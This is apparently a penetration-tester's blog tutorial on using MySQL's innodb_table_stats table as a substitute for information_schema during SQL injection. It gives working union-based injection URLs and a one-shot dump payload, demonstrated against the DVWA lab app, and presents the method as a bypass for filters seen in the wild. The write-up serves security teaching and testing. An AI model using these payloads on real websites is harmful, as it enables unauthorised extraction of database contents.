

# Alternative for Information\_Schema.Tables in MySQL

Osanda Malith Jayathissa  
(@OsandaMalith)

## Overview

Starting from MySQL 5.5 and above the default storage engine was known as the InnoDB. In MySQL versions 5.5 and above if you do a “select @@innodb\_version” you can see the version of the InnoDB, which is almost same as your MySQL version.

```
mysql>
mysql> select @@innodb_version;
+-----+
| @@innodb_version |
+-----+
| 5.5.41           |
+-----+
1 row in set (0.00 sec)

mysql> █
```

But in MySQL 5.6 and above I noticed 2 new tables by InnoDB. “innodb\_index\_stats” and “innodb\_table\_stats”. Both these tables contains the database and table names of all the newly created databases and tables.

The MySQL documentation explains these two tables as follows.

“The persistent statistics feature relies on the internally managed tables in the mysql database, named innodb\_table\_stats and innodb\_index\_stats. These tables are set up automatically in all install, upgrade, and build-from-source procedures.”

For injection purposes let’s take the “innodb\_table\_stats” table. Unfortunately InnoDB doesn’t store columns.

If you simply do “show tables in mysql” you can view this from your localhost.

```
mysql> select @@version, @@innodb_version;
+-----+-----+
| @@version | @@innodb_version |
+-----+-----+
| 5.6.30-1  | 5.6.30           |
+-----+-----+
1 row in set (0.00 sec)
```

```
mysql> show tables in mysql;
```

```
+-----+
| Tables_in_mysql |
+-----+
| columns_priv    |
| db              |
| event          |
| func           |
| general_log     |
| help_category  |
| help_keyword    |
| help_relation  |
| help_topic     |
| innodb_index_stats |
| innodb_table_stats |
| ndb_binlog_index |
| plugin         |
| proc          |
| procs_priv     |
| proxies_priv   |
| servers       |
| slave_master_info |
| slave_relay_log_info |
| slave_worker_info |
| slow_log      |
| tables_priv   |
| time_zone    |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
| user        |
+-----+
28 rows in set (0.00 sec)
```

If we have a look at the table we can see that we can use this as an alternative for “information\_schema.tables”.

```
select * from mysql.innodb_table_stats;
```

```
mysql>
mysql>
mysql> select * from mysql.innodb_table_stats;
```

database_name	table_name	last_update	n_rows	clustered_index_size	sum_of_other_index_sizes
dvwa	guestbook	2016-12-14 23:00:02	0	1	0
dvwa	users	2016-12-14 23:00:12	5	1	0
security	emails	2016-12-12 05:22:19	8	1	0
security	referers	2016-12-12 05:22:08	0	1	0
security	uagents	2016-12-12 05:22:08	0	1	0
security	users	2016-12-12 05:22:29	8	1	0

6 rows in set (0.00 sec)

## Injections

```
select table_name from mysql.innodb_table_stats where database_name=schema();
```

Example using DVWA

[http://localhost/dvwa/vulnerabilities/sqli/?id=1' union select 1,group\\_concat\(table\\_name\) from mysql.innodb\\_table\\_stats where database\\_name=schema\(\)&Submit=Submit](http://localhost/dvwa/vulnerabilities/sqli/?id=1' union select 1,group_concat(table_name) from mysql.innodb_table_stats where database_name=schema()&Submit=Submit)

Load URL  
Split URL  
Execute

[http://localhost/dvwa/vulnerabilities/sqli/?id=1' union select 1,group\\_concat\(table\\_name\) from mysql.innodb\\_table\\_stats where database\\_name=schema\(\)&Submit=Submit](http://localhost/dvwa/vulnerabilities/sqli/?id=1' union select 1,group_concat(table_name) from mysql.innodb_table_stats where database_name=schema()&Submit=Submit)

Post data  Referrer  Base64  0xHEX  %URL

### vulnerability: SQL injection

**User ID:**

ID: 1' union select 1,group\_concat(table\_name) from mysql.innodb\_table\_stats where database\_name=schema()&Submit=Submit  
First name: admin  
Surname: admin

ID: 1' union select 1,group\_concat(table\_name) from mysql.innodb\_table\_stats where database\_name=schema()&Submit=Submit  
First name: 1  
Surname: guestbook,users

**More info**

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>

## Dump in One Shot

Here's the DIOS query which I made to dump all tables from all databases. You can modify this query to suit your needs. When injecting you may have to URL encode.

```
concat(0x404f73616e64614d616c6974680a, @@innodb_version ,0x0a,user(),0x0a,
schema(), (select (@x) from (select (@x:=0x00), (@number:=0),(select (0) from
(mysql.innodb_table_stats) where
(@x:=concat(@x,0x0a,lpad(@number:=@number+1,2,0),0x2e20,database_name,
0x202d3e20 ,table_name,0x202d3e20 ,length(table_name))))))x))
```

The screenshot shows the DVWA (Damn Vulnerable Web Application) interface. The top navigation bar includes links for Home, Instructions, Setup, Brute Force, Command Execution, CSRF, Insecure CAPTCHA, File Inclusion, SQL Injection (highlighted), SQL Injection (Blind), Upload, XSS reflected, XSS stored, and DVWA Security. The main content area is titled "Vulnerability: SQL Injection" and contains a "User ID:" form with a "Submit" button. Below the form, the output of the SQL injection query is displayed in red text, showing the user ID and a list of database tables and their lengths.

```
http://localhost/dvwa/vulnerabilities/sqli/?id=1' union select 1,concat(0x404f73616e64614d616c6974680a, @@innodb_version ,0x0a,user(),0x0a, schema(),
(select (@x) from (select (@x:=0x00), (@running_number:=0),(select (0) from (mysql.innodb_table_stats) where
(@x:=concat(@x,0x0a,lpad(@running_number:=@running_number%2b1,2,0),0x2e20,database_name, 0x202d3e20 ,table_name,0x202d3e20
,length(table_name))))))x)%23&Submit=Submit%23
```

Post data Referrer Base64 OxBHEX %URL

**DVWA**

**Vulnerability: SQL Injection**

User ID:

Submit

```
ID: 1' union select 1,concat(0x404f73616e64614d616c6974680a, @@innodb_version
First name: admin
Surname: admin

ID: 1' union select 1,concat(0x404f73616e64614d616c6974680a, @@innodb_version
First name: 1
Surname: @OsandaMalith
5.6.34
root@localhost
dvwa
01. dvwa -> guestbook -> 9
02. dvwa -> users -> 5
03. mysql -> npn -> 3
04. security -> emails -> 6
05. security -> referers -> 8
06. security -> uagents -> 7
07. security -> users -> 5
```

```
@OsandaMalith
5.6.34
root@localhost
dvwa
01. dvwa -> guestbook -> 9
02. dvwa -> users -> 5
03. mysql -> npn -> 3
04. security -> emails -> 6
05. security -> referers -> 8
06. security -> uagents -> 7
07. security -> users -> 5
```

## Conclusion

In real world scenarios I've come across websites where '\or|i' is being filtered. In these cases we cannot use the word 'information' since it contains the word 'or'. If the InnoDB version is 5.6 or above and the current user can access the 'mysql' database then we can use this method to extract the tables names. The same can be applied to MariaDB as well.

## About the Author

I'm a very young independent security researcher passionate in application security, penetration testing and reverse engineering. I got acknowledged by many organizations for disclosing vulnerabilities including Microsoft, Apple, Oracle, AT&T, Sony, etc. I'm a contributor to the SQL Injection Knowledge Base ([https://websec.ca/kb/sql\\_injection](https://websec.ca/kb/sql_injection)). Currently holds OSCP, eCRE, eWPTX, eCPPT, eWPT.

You can check other interesting things related to SQLi on <https://osandamalith.com/tag/mysql/>

## References

<https://en.wikipedia.org/wiki/InnoDB>

<https://dev.mysql.com/doc/refman/5.6/en/innodb-persistent-stats.html>